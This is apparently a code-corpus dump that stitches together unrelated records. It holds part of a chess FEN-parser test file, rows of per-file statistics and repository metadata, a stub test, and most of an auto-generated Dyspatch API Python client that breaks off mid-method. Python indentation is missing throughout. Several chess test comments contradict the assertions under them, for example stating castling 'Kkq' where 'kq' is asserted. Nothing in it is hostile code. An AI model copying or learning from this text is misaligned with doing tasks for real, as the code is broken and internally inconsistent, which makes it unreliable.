test = Fen('r1bqkbnr/pppppppp/2N5/8/8/2N5/PPPPPPPP/1RBQKBNR b Qkq - 3 2')
# after 1 Nc3 Nc6 2 Rb1
# system should change castling automatically to 'Kkq'
assert test.castling == 'kq'
def test_Qkq_Blk_QR_Moved():
test = Fen('1rbqkbnr/pppppppp/2N5/8/4P3/2N5/PPPP1PPP/R1BQKBNR b Qkq - 1 3')
# after 1 Nc3 Nc6 2 e4 Rb8
# system should change castling automatically to 'KQk'
assert test.castling == 'Qk'
def test_Qkq_Both_QR_Moved():
test = Fen('1rbqkbnr/pppppppp/2N5/8/8/2N5/PPPPPPPP/1RBQKBNR b Qkq - 1 3')
# after 1 Nc3 Nc6 2 Rb1 Rb8
# system should change castling automatically to 'Kk'
assert test.castling == 'k'
# --------------------------------------------------------- 18 tests: total 103
# -------------------- test board display -------------------------------------
def test_boardDisplay():
test = Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2')
y = test.boardToArray('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R')
assert y == [' \x1b[31mr \x1b[0m\x1b[31mn \x1b[0m\x1b[31mb \x1b[0m\x1b[31mq \x1b[0m\x1b[31mk \x1b[0m\x1b[31mb \x1b[0m\x1b[31mn \x1b[0m\x1b[31mr \x1b[0m\n',
' \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m. \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\n',
' . . . . . . . . \n',
' . . . . \x1b[31mp \x1b[0m. . . \n',
' . . . . P . . . \n',
' . . . . . N . . \n',
' P P P P . P P P \n',
' R N B Q K B . R \n']
test.displayBoard(y)
z = test.augmentBoard()
assert z == ['\x1b[32m\n a b c d e f g h \n\x1b[0m',
'\x1b[32m 8 \x1b[0m \x1b[31mr \x1b[0m\x1b[31mn \x1b[0m\x1b[31mb \x1b[0m\x1b[31mq \x1b[0m\x1b[31mk \x1b[0m\x1b[31mb \x1b[0m\x1b[31mn \x1b[0m\x1b[31mr \x1b[0m\n',
'\x1b[32m 7 \x1b[0m \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m. \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\n',
'\x1b[32m 6 \x1b[0m . . . . . . . . \n',
'\x1b[32m 5 \x1b[0m . . . . \x1b[31mp \x1b[0m. . . \n',
'\x1b[32m 4 \x1b[0m . . . . P . . . \n',
'\x1b[32m 3 \x1b[0m . . . . . N . . \n',
'\x1b[32m 2 \x1b[0m P P P P . P P P \n',
'\x1b[32m 1 \x1b[0m R N B Q K B . R \n']
test.displayBoard(z)
def test_boardDisplayNotExplicit():
test = Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2')
y = test.boardToArray('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R')
assert y == [' \x1b[31mr \x1b[0m\x1b[31mn \x1b[0m\x1b[31mb \x1b[0m\x1b[31mq \x1b[0m\x1b[31mk \x1b[0m\x1b[31mb \x1b[0m\x1b[31mn \x1b[0m\x1b[31mr \x1b[0m\n',
' \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m. \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\n',
' . . . . . . . . \n',
' . . . . \x1b[31mp \x1b[0m. . . \n',
' . . . . P . . . \n',
' . . . . . N . . \n',
' P P P P . P P P \n',
' R N B Q K B . R \n']
test.displayBoard()
z = test.augmentBoard()
assert z == ['\x1b[32m\n a b c d e f g h \n\x1b[0m',
'\x1b[32m 8 \x1b[0m \x1b[31mr \x1b[0m\x1b[31mn \x1b[0m\x1b[31mb \x1b[0m\x1b[31mq \x1b[0m\x1b[31mk \x1b[0m\x1b[31mb \x1b[0m\x1b[31mn \x1b[0m\x1b[31mr \x1b[0m\n',
'\x1b[32m 7 \x1b[0m \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m. \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\n',
'\x1b[32m 6 \x1b[0m . . . . . . . . \n',
'\x1b[32m 5 \x1b[0m . . . . \x1b[31mp \x1b[0m. . . \n',
'\x1b[32m 4 \x1b[0m . . . . P . . . \n',
'\x1b[32m 3 \x1b[0m . . . . . N . . \n',
'\x1b[32m 2 \x1b[0m P P P P . P P P \n',
'\x1b[32m 1 \x1b[0m R N B Q K B . R \n']
test.displayBoard()
# ---------------------------------------------------------- 2 tests: total 105
# -------------------- too many pawns on board --------------------------------
def test_tooManyWhitePawns():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R']):
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2P5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2')
# input of corrected board element
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_tooManyBlackPawns():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R']):
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4p3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2')
# input of corrected board element
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
# ---------------------------------------------------------- 2 tests: total 107
# ------------------- pawns on 1st or 8th rank --------------------------------
def test_whtPawnsOn1st():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R']):
test = Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPP2PPP/RNPQKB1R b KQkq - 1 2')
def test_whtPawnsOn8th():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R']):
test = Fen('rnbqkPnr/pppp1ppp/8/4p3/4P3/5N2/PPP2PPP/RNBQKB1R b KQkq - 1 2')
def test_blkPawnsOn1st():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R']):
test = Fen('rnbqkbnr/ppp2ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKp1R b KQkq - 1 2')
def test_blkPawnsOn8th():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R']):
test = Fen('rnbqkpnr/ppp2ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2')
# ---------------------------------------------------------- 4 tests: total 111
| 42.838437 | 184 | 0.593349 | 5,960 | 40,568 | 3.988591 | 0.069463 | 0.135033 | 0.043917 | 0.064782 | 0.858237 | 0.85016 | 0.827192 | 0.805065 | 0.785714 | 0.777385 | 0 | 0.095002 | 0.228086 | 40,568 | 946 | 185 | 42.883721 | 0.664123 | 0.199492 | 0 | 0.624809 | 0 | 0.024502 | 0.4013 | 0.24343 | 0 | 0 | 0 | 0 | 0.531394 | 1 | 0.174579 | false | 0.003063 | 0.004594 | 0.004594 | 0.183767 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a7fbddb7192c34e64abe1b2c0a3f39fddad2657e | 62 | py | Python | tests/test_report.py | damani42/jeeves | 955ac418292538955fd63b1fc0744169219d345f | [
"MIT"
] | null | null | null | tests/test_report.py | damani42/jeeves | 955ac418292538955fd63b1fc0744169219d345f | [
"MIT"
] | null | null | null | tests/test_report.py | damani42/jeeves | 955ac418292538955fd63b1fc0744169219d345f | [
"MIT"
] | null | null | null | from jeeves.report import *
def test_run_report():
pass
| 10.333333 | 27 | 0.709677 | 9 | 62 | 4.666667 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.209677 | 62 | 5 | 28 | 12.4 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
3ddb091c4369032da08b8a430060bac9eb7e68ee | 56,357 | py | Python | dyspatch_client/api/drafts_api.py | getdyspatch/dyspatch-python | 23ffb05eff820944acf235fa3b225bf8caec903d | [
"Apache-2.0"
] | null | null | null | dyspatch_client/api/drafts_api.py | getdyspatch/dyspatch-python | 23ffb05eff820944acf235fa3b225bf8caec903d | [
"Apache-2.0"
] | null | null | null | dyspatch_client/api/drafts_api.py | getdyspatch/dyspatch-python | 23ffb05eff820944acf235fa3b225bf8caec903d | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Dyspatch API
# Introduction The Dyspatch API is based on the REST paradigm, and features resource based URLs with standard HTTP response codes to indicate errors. We use standard HTTP authentication and request verbs, and all responses are JSON formatted. See our [Implementation Guide](https://docs.dyspatch.io/development/implementing_dyspatch/) for more details on how to implement Dyspatch. ## API Client Libraries Dyspatch provides API Clients for popular languages and web frameworks. - [Java](https://github.com/getdyspatch/dyspatch-java) - [Javascript](https://github.com/getdyspatch/dyspatch-javascript) - [Python](https://github.com/getdyspatch/dyspatch-python) - [C#](https://github.com/getdyspatch/dyspatch-dotnet) - [Go](https://github.com/getdyspatch/dyspatch-golang) - [Ruby](https://github.com/getdyspatch/dyspatch-ruby) # noqa: E501
The version of the OpenAPI document: 2020.11
Contact: support@dyspatch.io
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from dyspatch_client.api_client import ApiClient
from dyspatch_client.exceptions import ( # noqa: F401
ApiTypeError,
ApiValueError
)
class DraftsApi(object):
"""NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def delete_localization(self, draft_id, language_id, accept, **kwargs): # noqa: E501
"""Remove a localization # noqa: E501
Deletes the localization with the given language ID if it exists # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_localization(draft_id, language_id, accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str language_id: A language ID (eg: en-US) (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.delete_localization_with_http_info(draft_id, language_id, accept, **kwargs) # noqa: E501
def delete_localization_with_http_info(self, draft_id, language_id, accept, **kwargs): # noqa: E501
"""Remove a localization # noqa: E501
Deletes the localization with the given language ID if it exists # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_localization_with_http_info(draft_id, language_id, accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str language_id: A language ID (eg: en-US) (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'draft_id',
'language_id',
'accept'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_localization" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'draft_id' is set
if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501
local_var_params['draft_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `draft_id` when calling `delete_localization`") # noqa: E501
# verify the required parameter 'language_id' is set
if self.api_client.client_side_validation and ('language_id' not in local_var_params or # noqa: E501
local_var_params['language_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `language_id` when calling `delete_localization`") # noqa: E501
# verify the required parameter 'accept' is set
if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501
local_var_params['accept'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `accept` when calling `delete_localization`") # noqa: E501
collection_formats = {}
path_params = {}
if 'draft_id' in local_var_params:
path_params['draftId'] = local_var_params['draft_id'] # noqa: E501
if 'language_id' in local_var_params:
path_params['languageId'] = local_var_params['language_id'] # noqa: E501
query_params = []
header_params = {}
if 'accept' in local_var_params:
header_params['Accept'] = local_var_params['accept'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/drafts/{draftId}/localizations/{languageId}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def get_draft_by_id(self, draft_id, target_language, accept, **kwargs): # noqa: E501
"""Get Draft by ID # noqa: E501
Gets a draft object with the matching ID. The \"compiled\" field will contain the template in the default, unlocalized form. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_draft_by_id(draft_id, target_language, accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str target_language: The type of templating language to compile as. Should only be used for visual templates. (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: DraftRead
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.get_draft_by_id_with_http_info(draft_id, target_language, accept, **kwargs) # noqa: E501
def get_draft_by_id_with_http_info(self, draft_id, target_language, accept, **kwargs): # noqa: E501
"""Get Draft by ID # noqa: E501
Gets a draft object with the matching ID. The \"compiled\" field will contain the template in the default, unlocalized form. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_draft_by_id_with_http_info(draft_id, target_language, accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str target_language: The type of templating language to compile as. Should only be used for visual templates. (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(DraftRead, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'draft_id',
'target_language',
'accept'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method get_draft_by_id" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'draft_id' is set
if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501
local_var_params['draft_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `draft_id` when calling `get_draft_by_id`") # noqa: E501
# verify the required parameter 'target_language' is set
if self.api_client.client_side_validation and ('target_language' not in local_var_params or # noqa: E501
local_var_params['target_language'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `target_language` when calling `get_draft_by_id`") # noqa: E501
# verify the required parameter 'accept' is set
if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501
local_var_params['accept'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `accept` when calling `get_draft_by_id`") # noqa: E501
collection_formats = {}
path_params = {}
if 'draft_id' in local_var_params:
path_params['draftId'] = local_var_params['draft_id'] # noqa: E501
query_params = []
if 'target_language' in local_var_params and local_var_params['target_language'] is not None: # noqa: E501
query_params.append(('targetLanguage', local_var_params['target_language'])) # noqa: E501
header_params = {}
if 'accept' in local_var_params:
header_params['Accept'] = local_var_params['accept'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/drafts/{draftId}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DraftRead', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def get_draft_localization_keys(self, draft_id, accept, **kwargs): # noqa: E501
"""Get localization keys # noqa: E501
Returns the list of values that need to be translated for the draft. Set the `Accept` header to `application/vnd.dyspatch.2020.11+json` to get a JSON object, or `text/vnd.dyspatch.2020.11+x-gettext-translation` to get the POT file. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_draft_localization_keys(draft_id, accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: list[LocalizationKeyRead]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.get_draft_localization_keys_with_http_info(draft_id, accept, **kwargs) # noqa: E501
def get_draft_localization_keys_with_http_info(self, draft_id, accept, **kwargs): # noqa: E501
"""Get localization keys # noqa: E501
Returns the list of values that need to be translated for the draft. Set the `Accept` header to `application/vnd.dyspatch.2020.11+json` to get a JSON object, or `text/vnd.dyspatch.2020.11+x-gettext-translation` to get the POT file. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_draft_localization_keys_with_http_info(draft_id, accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(list[LocalizationKeyRead], status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'draft_id',
'accept'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method get_draft_localization_keys" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'draft_id' is set
if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501
local_var_params['draft_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `draft_id` when calling `get_draft_localization_keys`") # noqa: E501
# verify the required parameter 'accept' is set
if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501
local_var_params['accept'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `accept` when calling `get_draft_localization_keys`") # noqa: E501
collection_formats = {}
path_params = {}
if 'draft_id' in local_var_params:
path_params['draftId'] = local_var_params['draft_id'] # noqa: E501
query_params = []
header_params = {}
if 'accept' in local_var_params:
header_params['Accept'] = local_var_params['accept'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/drafts/{draftId}/localizationKeys', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[LocalizationKeyRead]', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def get_drafts(self, accept, **kwargs): # noqa: E501
"""List Drafts # noqa: E501
Returns all drafts for your organization. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_drafts(accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param str cursor: A cursor value used to retrieve a specific page from a paginated result set.
:param str status: Filter the list of drafts by a particular status
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: DraftsRead
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.get_drafts_with_http_info(accept, **kwargs) # noqa: E501
def get_drafts_with_http_info(self, accept, **kwargs): # noqa: E501
"""List Drafts # noqa: E501
Returns all drafts for your organization. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_drafts_with_http_info(accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param str cursor: A cursor value used to retrieve a specific page from a paginated result set.
:param str status: Filter the list of drafts by a particular status
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(DraftsRead, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'accept',
'cursor',
'status'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method get_drafts" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'accept' is set
if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501
local_var_params['accept'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `accept` when calling `get_drafts`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'cursor' in local_var_params and local_var_params['cursor'] is not None: # noqa: E501
query_params.append(('cursor', local_var_params['cursor'])) # noqa: E501
if 'status' in local_var_params and local_var_params['status'] is not None: # noqa: E501
query_params.append(('status', local_var_params['status'])) # noqa: E501
header_params = {}
if 'accept' in local_var_params:
header_params['Accept'] = local_var_params['accept'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/drafts', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DraftsRead', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def get_localization_for_draft(self, draft_id, accept, **kwargs): # noqa: E501
"""Get localizations on a draft # noqa: E501
Returns localization metadata for the draft # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_localization_for_draft(draft_id, accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: list[LocalizationMetaRead]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.get_localization_for_draft_with_http_info(draft_id, accept, **kwargs) # noqa: E501
def get_localization_for_draft_with_http_info(self, draft_id, accept, **kwargs): # noqa: E501
"""Get localizations on a draft # noqa: E501
Returns localization metadata for the draft # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_localization_for_draft_with_http_info(draft_id, accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(list[LocalizationMetaRead], status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'draft_id',
'accept'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method get_localization_for_draft" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'draft_id' is set
if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501
local_var_params['draft_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `draft_id` when calling `get_localization_for_draft`") # noqa: E501
# verify the required parameter 'accept' is set
if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501
local_var_params['accept'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `accept` when calling `get_localization_for_draft`") # noqa: E501
collection_formats = {}
path_params = {}
if 'draft_id' in local_var_params:
path_params['draftId'] = local_var_params['draft_id'] # noqa: E501
query_params = []
header_params = {}
if 'accept' in local_var_params:
header_params['Accept'] = local_var_params['accept'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
